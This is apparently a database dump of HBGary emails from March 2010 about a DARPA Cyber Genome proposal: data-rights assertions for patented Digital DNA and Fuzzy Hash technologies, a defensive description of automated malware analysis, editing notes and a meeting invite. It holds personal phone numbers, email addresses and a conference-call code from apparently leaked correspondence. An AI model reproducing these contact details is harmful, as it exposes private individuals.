Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 26, 2010 2:16 PM\r\nTo: Bob Slapnik\r\nSubject: Fwd: HBGary\'s Data Rights Assertions\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Larson,\r\nCindy S.&quot; &lt;Cindy.Larson@gd-ais.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nMarch\r\n26, 2010 2:14:00 PM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&quot;Ted\r\nVera&quot; &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nCc:\r\n&quot;Brunelli,\r\nRex&quot; &lt;Rex.Brunelli@gd-ais.com&gt;,\r\n&quot;Wenthold, Russell L.&quot; &lt;russ.wenthold@gd-ais.com&gt;,\r\n&quot;Barr Aaron&quot; &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nHBGary\'s Data Rights Assertions\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi Ted,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe\'ve had\r\nseveral conversations with your team regarding HBGary\'s data rights\r\nassertions.&nbsp; I haven\'t received the applicable completed Table from you\r\nthat describes the Assertions.&nbsp; Please refer to my RFP Attachment 8, Item\r\n7, 7.1 - 7.4 (I\'ve reattached).&nbsp; Please complete the applicable Table and\r\nreturn to me, Rex Brunelli and Ryan Vela ASAP&nbsp;Today.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI also\r\nhaven\'t received your proposal cover letter that addresses all other items required\r\nby my RFP and Attachment 1.&nbsp; If I\'ve overlooked it please advise.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nCindy\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/26/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',430,'aaron_hbgary_com/430.html'),(4611,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002718.M721537P3547Q4611.eml','\"Bob Slapnik\" <bob@hbgary.com>','in the current document','\r\n\r\n\r\n\r\nII.D.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Technical\r\nRationaleWe believe it is important to\r\nstructure our research within an operational framework and process driven\r\nworkflow that is maintainable and extensible over time as the science of\r\nmalware analysis matures. &nbsp;Our approach provides for continual improvement\r\nand illustrates how the individual research areas are integrated within an\r\noperational framework.&nbsp; The tie\r\nbetween the individual phases is the data they produce and use, focusing our\r\nintegration efforts on the data itself rather than on applications.Static file analysis with\r\ndisassemblers represents the largest portion of malware analysis conducted in\r\norganizations today, but this technique is wrought with growing problems.\r\nComplex malware protection mechanisms thwart traditional reverse engineering\r\ntechniques, and even if successful the analysis is slow and expensive.&nbsp; Likewise, traditional interactive\r\ndebugging requires a person to manually step through the execution of a running\r\nprogram, again manually time intensive. &nbsp;Traditional static file and\r\ndebugger runtime analysis are not scalable for automatic malware analysis. &nbsp;There is a better\r\nmethodology.&nbsp; For any binary\r\n(including malware) to execute it must reside in physical memory and must\r\nunpack and decrypt itself because the CPU can only operate on instructions and\r\ndata in clear text.&nbsp; Therefore, our\r\napproach for the cyber genome program is to (1) execute malware samples in an\r\ninstrumented environment to collect its low level behaviors with automated run\r\ntracing; (2) image or “snapshot” physical memory for forensic preservation\r\nfollowed by complete static reconstruction of physical memory to recover all\r\ndigital objects at the time of the snapshot; (3) automatically “reason” over\r\nthe vast amount of low level data acquired during steps #1 and #2 to determine\r\nthe true functions, behaviors and intent of the binary sample; and (4) visually\r\ndisplay the resulting information for easy user comprehension.Static memory analysis and\r\nreconstruction yields all digital objects in memory including executables,\r\nprocesses, drivers, modules, strings, symbols, network sockets, open files and\r\ndata buffers with the ability to peer into any object down to its hexadecimal\r\nrepresentation in memory.&nbsp; Because\r\nall objects are recovered for full inspection they can also be inspected in\r\nrelation to each other for contextual information.&nbsp; While static memory analysis provides data at a point in\r\ntime, runtime analysis provides malware behavioral information over a span of\r\ntime.&nbsp; The instrumented runtime\r\nsystem will harvest all instructions executed, changes to the file system and\r\nregistry keys, processes launched or killed, network activity, and changes in\r\nmemory.&nbsp; The resulting combination\r\nof static memory analysis and runtime analysis will provide a nearly complete\r\npicture of the execution of any piece of software. &nbsp;Runtime analysis is\r\neffective only to the extent that code is executed.&nbsp; To ensure the most complete runtime execution possible, we\r\nwill also conduct research to expand and extend the execution paths of running\r\nprograms requiring specific IO input or environmental conditions for specific\r\nbranch executions.\r\n\r\n\r\n\r\n\r\nIII.C Detailed Technical RationaleCommon practice for binary and malware analysis today requires the\r\nmanual labor of highly skilled and well-paid engineers.&nbsp; Results are slow,\r\nunpredictable, expensive and don’t scale.&nbsp; The engineer is required to be\r\nproficient with low-level assembly code and operating system internals.&nbsp;\r\nResults depend upon his mental capacity to interpret and model complex program\r\nlogic and ever changing computer states.&nbsp; The most common tools are\r\ndisassemblers for static analysis and interactive debuggers for dynamic\r\nanalysis.&nbsp; The best engineers have a mishmash collection of non-standard\r\nhomegrown or Internet-collected plug-ins.&nbsp; Complex malware protection\r\nmechanisms such as packing, obfuscation, encryption and anti-debugging\r\ntechniques present further challenges to slow down and thwart traditional\r\nreverse engineering techniques.&nbsp;While it is a challenging undertaking, our approach is to research and\r\ndevelop a fully automated malware analysis framework that will produce results\r\ncomparable with the best reverse engineering experts and complete the analysis\r\nin a fast, scalable system without human interaction.&nbsp; In the completed\r\nmature system the only human involvement will be the consumption of reports and\r\nother visualizations of malware profiles.We start with the realization that malware is just software in binary\r\nform without source code.&nbsp; Like any software, malware must execute to do\r\nwhat it does.&nbsp; To execute it must reside in physical memory (RAM) and must\r\nbe operated on by the CPU.&nbsp; The CPU has two requirements:&nbsp; the\r\noperating instructions of the binary must be in clear text and the CPU does\r\nonly one thing at a time.&nbsp; A binary that is packed or encrypted must\r\nunpack or unencrypt itself, otherwise the CPU will not operate on it.&nbsp;We will solve the problems of traditional reverse engineering by\r\nrunning the binary in a controlled, instrumented and automated run trace system\r\nthat will harvest everything the CPU does, one operation at a time in\r\nsequential fashion.&nbsp; All instructions and data will be collected and\r\nstored in the exact sequence as they happened.&nbsp; Replaying the execution\r\nwill give an exact reproduction of the binary’s behaviors along with contextual\r\ninformation of interactions with other digital objects.&nbsp; Physical memory\r\ncan be imaged and automatically reconstructed revealing all digital objects in\r\nmemory at that point in time.&nbsp; The binary can be extracted from the memory\r\nimage – typically unpacked and unencrypted – and analyzed statically along with\r\nthe contextual information contained within the memory image.&nbsp; From the\r\nautomated run tracing and memory reconstruction we will have harvested and\r\ncollected vast amounts of low level data about the binary under test.&nbsp;We make the assumption that there is a finite set of possible\r\nfunctions and behaviors that software and malware can have, notwithstanding\r\nthat it can be a large set and software evolves over time.&nbsp; For example,\r\nthere are only so many ways to communicate over the network, to survive reboot\r\nor to write to a file.&nbsp; We will create a set of traits and genomes that\r\npredefine observable functions and behaviors of software and malware.&nbsp;\r\nUsing a set of rules to operate on the vast low level data collected from the\r\nbinary run trace and memory reconstruction, the system will automatically\r\ndetermine the which traits and genomes exist in each binary sample.Even though the automated analysis has\r\nmoved from granular technical data to the higher levels of traits and genomes,\r\nthis level of information is insufficient to completely describe the functions,\r\nbehaviors and intent of the binary sample.&nbsp; The observed traits and\r\ngenomes will be fed into the Belief Reasoning engine that uses prior knowledge\r\nto make probabilistic decisions about the binary.&nbsp; The user will be\r\npresented with visual representations of malware physiology profiles.\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2500,'aaron_hbgary_com/2500.html'),(4612,'2010-03-26','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297002718.M942559P3547Q4612.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: HBGary\'s Data Rights Assertions','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\nHi Bob,\r\n&nbsp;\r\nThank you!&nbsp; If our team has any questions we\'ll get back to \r\nyou.\r\n&nbsp;\r\nRegards,\r\nCindy\r\n\r\n  \r\n  \r\n  From: Bob Slapnik [mailto:bob@hbgary.com] \r\n  Sent: Friday, March 26, 2010 11:37 AMTo: \'Aaron Barr\'; \r\n  Larson, Cindy S.Cc: Brunelli, Rex; Wenthold, Russell \r\n  L.Subject: RE: HBGary\'s Data Rights Assertions\r\n  \r\n  \r\n  Cindy,\r\n  &nbsp;\r\n  Here \r\n  is the info you requested&#8230;&#8230;..\r\n  &nbsp;\r\n  II.B.3&nbsp; Data Rights and Intellectual \r\n  Property\r\n  We understand and appreciate \r\n  DARPA&#8217;s needs for rights in data; therefore the data generated under this \r\n  contract will be delivered to the Government with Unlimited Rights. It is \r\n  noted that HBGary has developed two patented technologies that it brings to \r\n  the table for possible use to fulfill this requirement -- Digital DNA Sequence \r\n  and Fuzzy Hash Algorithm. We propose these technologies for possible \r\n  use to fulfill this requirement; although it is possible these technologies \r\n  may have no role in developing the methodology that DARPA seeks. At the very \r\n  least, the team will leverage the experience gained in developing these two \r\n  technologies.&nbsp; If and to the extent that these two technologies become \r\n  deliverables in the resulting contract, HBGary will deliver them with \r\n  Restricted Rights.&nbsp; (See table below).&nbsp; To the extent that any \r\n  modifications to these two existing, proprietary technologies need to be made, \r\n  HBGary will perform such modifications under pre-existing administrative codes \r\n  billed to HBGary indirect accounts, and not charged under the \r\n  contract.\r\n  &nbsp;\r\n  \r\n    \r\n    \r\n      \r\n        Assertion of Technical \r\n        Data Rights in accordance with DFARS \r\n        252.227-7018\r\n    \r\n      \r\n        Technical Data Computer \r\n        Software To be Furnished With Restrictions\r\n      \r\n        Basis for \r\n        Assertion\r\n        &nbsp;\r\n      \r\n        Asserted Rights \r\n        Category\r\n        &nbsp;\r\n      \r\n        Name of Person Asserting \r\n        Restrictions\r\n        &nbsp;\r\n    \r\n      \r\n        Digital DNA \r\n        Sequence\r\n      \r\n        Developed at Private \r\n        Expense\r\n      \r\n        Restricted \r\n        Rights\r\n      \r\n        Bob Slapnik, Vice President \r\n        HBGary, Inc.\r\n    \r\n      \r\n        Fuzzy Hash \r\n        Algorithm\r\n      \r\n        Developed at Private \r\n        Expense\r\n      \r\n        Restricted \r\n        Rights\r\n      \r\n        Bob Slapnik, Vice President \r\n        HBGary, Inc.\r\n    \r\n      \r\n        HBGary Digital DNA&#8482; \r\n        commercial software (1)\r\n      \r\n        Developed at Private \r\n        Expense\r\n      \r\n        Restricted \r\n        Rights\r\n      \r\n        Bob Slapnik, Vice President \r\n        HBGary, Inc.\r\n    \r\n      \r\n        HBGary Responder&#8482; \r\n        Professional commercial software (1)\r\n      \r\n        Developed at Private Expense \r\n        and SBIR, non-severable\r\n      \r\n        Restricted \r\n        Rights\r\n      \r\n        Bob Slapnik, Vice President \r\n        HBGary, Inc.\r\n    \r\n      \r\n        HBGary REcon&#8482; commercial \r\n        software (1)\r\n      \r\n        Developed at Private Expense \r\n        and SBIR, non-severable\r\n      \r\n        Restricted \r\n        Rights\r\n      \r\n        Bob Slapnik, Vice President \r\n        HBGary, Inc.\r\n  Table #: Existing \r\n  Intellectual Property Table\r\n  (1)&nbsp;&nbsp; Data \r\n  involved in and related to commercial software products listed above will not \r\n  be delivered nor do they need to be delivered to fulfill the requirements of \r\n  this BAA contract, if awarded, but will be discussed in the \r\n  proposal.\r\n  Digital DNA \r\n  Sequence\r\n  The digital \r\n  DNA sequencing engine is a system or method to evaluate any data object \r\n  received via any device, network or physical memory based upon a set of rules \r\n  (&#8220;genome&#8221;).&nbsp; The invention evaluates the contents of the digital object \r\n  and generates a digital DNA sequence, which permits the data object to be \r\n  classified into an object type.&nbsp; A trait has a rule, weight, trait-code, \r\n  and description.&nbsp; A DDNA sequence is formed by at \r\n  least one expressed trait with reference to a particular data object that has \r\n  been evaluated by the DDNA engine.&nbsp; Typically, a DDNA sequence is formed \r\n  by a set of expressed traits with reference to a particular data object that \r\n  has been evaluated by the DDNA engine.&nbsp; When a rule fires, then that \r\n  means that the trait code (or trait) for that rule has been expressed.&nbsp; \r\n  In an embodiment of the invention, the traits can be concatenated together as \r\n  a single digital file (or string) that the user can easily access.\r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n  Patent application number: \r\n  12/386,970\r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n  Inventor name(s): Michael Gregory \r\n  Hoglund\r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n  Assignee names: HBGary, Inc.\r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n  Filing date:&nbsp; April 24, \r\n2009\r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n  Filing date of any related provisional \r\n  application: not applicable\r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n  Summary of the patent title:&nbsp; Digital DNA \r\n  Sequence\r\n  HBGary\'s \r\n  ownership of the invention is indicated in Reel/Frame 023009/0815 in the \r\n  Assignment Division of the US Patent and Trademark Office.\r\n  Fuzzy Hash \r\n  Algorithm\r\n  An \r\n  embodiment of the invention provides an algorithm that will generate a fuzzy \r\n  hash value to identify contents of a data object and to classify a data \r\n  object.&nbsp; A digital DNA sequencing engine may be used to execute the fuzzy \r\n  hash algorithm.&nbsp; A fuzzy hash value is a calculated sequence of bytes \r\n  (e.g., hexadecimal bytes).&nbsp; A data stream is data content of a data \r\n  object.&nbsp; The algorithm will place meta-tags (i.e., metadata tags) in a \r\n  buffer, where a meta-tag corresponds to a value in the data stream.&nbsp; The \r\n  fuzzy hash value can be calculated against varied data streams and can then be \r\n  used to determine the percentage of match between those data streams.&nbsp; \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n  Patent application number: \r\n  12/459,203\r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n  Inventor name(s): Michael Gregory \r\n  Hoglund\r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n  Assignee names: HBGary, Inc.\r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n  Filing date:&nbsp; June 26, 2009\r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n  Filing date of any related provisional \r\n  application: not applicable\r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n  Summary of the patent title:&nbsp; Fuzzy Hash \r\n  Algorithm\r\n  &nbsp;\r\n  HBGary\'s ownership of the \r\n  invention is indicated in Reel/Frame 023441/0496 in the Assignment Division of \r\n  the US Patent and Trademark Office.\r\n  &nbsp;\r\n  &nbsp;\r\n  &nbsp;\r\n  \r\n  Bob \r\n  Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, \r\n  Inc.\r\n  Office \r\n  301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n  www.hbgary.com&nbsp; \r\n  |&nbsp; bob@hbgary.com\r\n  &nbsp;\r\n  \r\n  \r\n  From: Aaron Barr \r\n  [mailto:aaron@hbgary.com] Sent: Friday, March 26, 2010 2:16 \r\n  PMTo: Bob SlapnikSubject: Fwd: HBGary\'s Data Rights \r\n  AssertionsImportance: High\r\n  &nbsp;\r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  Begin forwarded message:\r\n  \r\n  \r\n  From: \r\n  \"Larson, \r\n  Cindy S.\" &lt;Cindy.Larson@gd-ais.com&gt;\r\n  \r\n  Date: \r\n  March 26, \r\n  2010 2:14:00 PM EDT\r\n  \r\n  To: \r\n  \"Ted Vera\" \r\n  &lt;ted@hbgary.com&gt;\r\n  \r\n  Cc: \r\n  \"Brunelli, \r\n  Rex\" &lt;Rex.Brunelli@gd-ais.com&gt;, \r\n  \"Wenthold, Russell L.\" &lt;russ.wenthold@gd-ais.com&gt;, \"Barr \r\n  Aaron\" &lt;aaron@hbgary.com&gt;\r\n  \r\n  Subject: \r\n  HBGary\'s Data Rights Assertions\r\n  &nbsp;\r\n  \r\n  \r\n  Hi \r\n  Ted,\r\n  \r\n  &nbsp;\r\n  \r\n  We\'ve had \r\n  several conversations with your team regarding HBGary\'s data rights \r\n  assertions.&nbsp; I haven\'t received the applicable completed Table from you \r\n  that describes the Assertions.&nbsp; Please refer to my RFP Attachment 8, Item \r\n  7, 7.1 - 7.4 (I\'ve reattached).&nbsp; Please complete the applicable Table and \r\n  return to me, Rex Brunelli and Ryan Vela \r\n  ASAP&nbsp;Today.\r\n  \r\n  &nbsp;\r\n  \r\n  I also \r\n  haven\'t received your proposal cover letter that addresses all other items \r\n  required by my RFP and Attachment 1.&nbsp; If I\'ve overlooked it please \r\n  advise.\r\n  \r\n  &nbsp;\r\n  \r\n  Thanks,\r\n  \r\n  Cindy\r\n  \r\n  &nbsp;\r\n  No virus \r\n  found in this incoming message.Checked by AVG - www.avg.comVersion: \r\n  9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/26/10 \r\n  03:33:00\r\n',2796,'aaron_hbgary_com/2796.html'),(4613,'2010-03-26','\"MB Toth\" <mbt.rbtoth@gmail.com>','/aaron@hbgary.com/new/1297002719.M209774P3547Q4613.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Proposal','Got it, I&#39;ll get going on it this afternoon and evening, and try to get a chunk back to you late tonight, with more tomorrow.MikeOn Fri, Mar 26, 2010 at 1:52 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nMike,\r\n\r\nhere is what we have so far.\r\n\r\nSome things that don&#39;t exist or are being redone as I write.\r\nIII.D.6 - Being rewritten\r\nIII.D.7 - Being rewritten\r\nIII.E - Being written\r\n\r\nII.C and III.I won&#39;t be done until tomorrow.  Ted is working the cost volume now.\r\n\r\nI will send you updates as I get them in.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n',16472,'aaron_hbgary_com/16472.html'),(4614,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002719.M469229P3547Q4614.eml','\"MB Toth\" <mbt.rbtoth@gmail.com>','Re: Proposal','Sounds good. &nbsp;Expect to have maybe 1 or 2 more iterations in your box in the next hour or so as I get some last minute content integrated.AaronOn Mar 26, 2010, at 2:50 PM, MB Toth wrote:Got it, I\'ll get going on it this afternoon and evening, and try to get a chunk back to you late tonight, with more tomorrow.MikeOn Fri, Mar 26, 2010 at 1:52 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nMike,\r\n\r\nhere is what we have so far.\r\n\r\nSome things that don\'t exist or are being redone as I write.\r\nIII.D.6 - Being rewritten\r\nIII.D.7 - Being rewritten\r\nIII.E - Being written\r\n\r\nII.C and III.I won\'t be done until tomorrow. &nbsp;Ted is working the cost volume now.\r\n\r\nI will send you updates as I get them in.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13621,'aaron_hbgary_com/13621.html'),(4615,'2010-03-26','\"MB Toth\" <mbt.rbtoth@gmail.com>','/aaron@hbgary.com/new/1297002719.M657644P3547Q4615.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Proposal','Aaron,Just a quick comment based on my initial read.  The Proposal needs to address one TAI:\r\n\r\n\r\n\r\n1.1.3 Technical Areas of Interest\r\n\r\n\r\n\r\n\r\n\r\nThe proposal should express\r\na consolidated effort in support of one Technical Area of Interest.  Disjointed efforts should not be included\r\ninto a single proposal.  Proposals\r\naddressing more than one Technical Area of Interest in a single proposal may be\r\ndiscarded.\r\n\r\nI do not see Cyber Genetics clearly called out as the TAI for this proposal.  This should be clearly called out.  I&#39;ll include this in my edits, but just wanted to call this out as you all look at the intro documents and conformance.\r\nMikeOn Fri, Mar 26, 2010 at 2:54 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nSounds good.  Expect to have maybe 1 or 2 more iterations in your box in the next hour or so as I get some last minute content integrated.Aaron\r\nOn Mar 26, 2010, at 2:50 PM, MB Toth wrote:Got it, I&#39;ll get going on it this afternoon and evening, and try to get a chunk back to you late tonight, with more tomorrow.\r\nMikeOn Fri, Mar 26, 2010 at 1:52 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nMike,\r\n\r\nhere is what we have so far.\r\n\r\nSome things that don&#39;t exist or are being redone as I write.\r\nIII.D.6 - Being rewritten\r\nIII.D.7 - Being rewritten\r\nIII.E - Being written\r\n\r\nII.C and III.I won&#39;t be done until tomorrow.  Ted is working the cost volume now.\r\n\r\nI will send you updates as I get them in.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n',10255,'aaron_hbgary_com/10255.html'),(4616,'2010-03-26','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002720.M1611P3547Q4616.eml','\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,\"Spiller, John F.\" <John.Spiller@gd-ais.com>,\"Brown, Glenn M.\" <glenn.brown@gd-ais.com>,\"Brunelli, Rex\" <Rex.Brunelli@gd-ais.com>,\"Wenthold, Russell L.\" <russ.wenthold@gd-ais.com>,\"Corcino, Stefanie E.\" <Stefanie.Corcino@gd-ais.com>,\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Autry, Errin L.\" <Errin.Autry@gd-ais.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Laurin Buchanan\" <LaurinB@securedecisions.avi.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Phil Porras\" <porras@csl.sri.com>,\"Vinod Yegneswaran\" <vinod@csl.sri.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>','Darpa Cyber Genome (DCG) Daily Standup','\r\n\r\n\r\n\r\n\r\nDarpa Cyber Genome (DCG) Daily Standup\r\n\r\n\r\n\r\n\r\nWhen: Occurs every day effective 3/26/2010 until 3/28/2010 from 4:00 PM to 4:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nShort meeting to get everyone&#8217;s status.\r\n\r\n\r\n',1591,'aaron_hbgary_com/1591.html'),(4617,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002720.M195723P3547Q4617.eml','\"MB Toth\" <mbt.rbtoth@gmail.com>','Re: Proposal','Sorry we are submitting for TA3 Cyber Physiology (basically automated malware analysis for behavior, function, and intent).AaronOn Mar 26, 2010, at 3:11 PM, MB Toth wrote:Aaron,Just a quick comment based on my initial read.&nbsp; The Proposal needs to address one TAI:\r\n\r\n\r\n\r\n1.1.3 Technical Areas of Interest\r\n\r\n\r\n\r\nThe proposal should express\r\na consolidated effort in support of one Technical Area of Interest.&nbsp; Disjointed efforts should not be included\r\ninto a single proposal.&nbsp; Proposals\r\naddressing more than one Technical Area of Interest in a single proposal may be\r\ndiscarded.\r\n\r\nI do not see Cyber Genetics clearly called out as the TAI for this proposal.&nbsp; This should be clearly called out.&nbsp; I\'ll include this in my edits, but just wanted to call this out as you all look at the intro documents and conformance.\r\nMikeOn Fri, Mar 26, 2010 at 2:54 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nSounds good. &nbsp;Expect to have maybe 1 or 2 more iterations in your box in the next hour or so as I get some last minute content integrated.Aaron\r\nOn Mar 26, 2010, at 2:50 PM, MB Toth wrote:Got it, I\'ll get going on it this afternoon and evening, and try to get a chunk back to you late tonight, with more tomorrow.\r\nMikeOn Fri, Mar 26, 2010 at 1:52 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nMike,\r\n\r\nhere is what we have so far.\r\n\r\nSome things that don\'t exist or are being redone as I write.\r\nIII.D.6 - Being rewritten\r\nIII.D.7 - Being rewritten\r\nIII.E - Being written\r\n\r\nII.C and III.I won\'t be done until tomorrow. &nbsp;Ted is working the cost volume now.\r\n\r\nI will send you updates as I get them in.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14356,'aaron_hbgary_com/14356.html'),(4618,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002723.M448692P3547Q4618.eml','\"MB Toth\" <mbt.rbtoth@gmail.com>','Re: Proposal','\r\n\r\nLastest Doc.\r\n\r\nThis should be a good copy for a while.  :)\r\n\r\n\r\nOn Mar 26, 2010, at 3:11 PM, MB Toth wrote:\r\n\r\n> Aaron,\r\n> \r\n> Just a quick comment based on my initial read.  The Proposal needs to address one TAI:\r\n> 1.1.3 Technical Areas of Interest\r\n> \r\n> The proposal should express a consolidated effort in support of one Technical Area of Interest.  Disjointed efforts should not be included into a single proposal.  Proposals addressing more than one Technical Area of Interest in a single proposal may be discarded.\r\n> \r\n> I do not see Cyber Genetics clearly called out as the TAI for this proposal.  This should be clearly called out.  \r\n> \r\n> I\'ll include this in my edits, but just wanted to call this out as you all look at the intro documents and conformance.\r\n> \r\n> Mike\r\n> \r\n> On Fri, Mar 26, 2010 at 2:54 PM, Aaron Barr  wrote:\r\n> Sounds good.  Expect to have maybe 1 or 2 more iterations in your box in the next hour or so as I get some last minute content integrated.\r\n> \r\n> Aaron\r\n> \r\n> On Mar 26, 2010, at 2:50 PM, MB Toth wrote:\r\n> \r\n>> Got it, I\'ll get going on it this afternoon and evening, and try to get a chunk back to you late tonight, with more tomorrow.\r\n>> \r\n>> Mike\r\n>> \r\n>> On Fri, Mar 26, 2010 at 1:52 PM, Aaron Barr  wrote:\r\n>> Mike,\r\n>> \r\n>> here is what we have so far.\r\n>> \r\n>> Some things that don\'t exist or are being redone as I write.\r\n>> III.D.6 - Being rewritten\r\n>> III.D.7 - Being rewritten\r\n>> III.E - Being written\r\n>> \r\n>> II.C and III.I won\'t be done until tomorrow.  Ted is working the cost volume now.\r\n>> \r\n>> I will send you updates as I get them in.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> -- \r\n>> R.B. Toth Associates\r\n>> Oakton, Virginia, 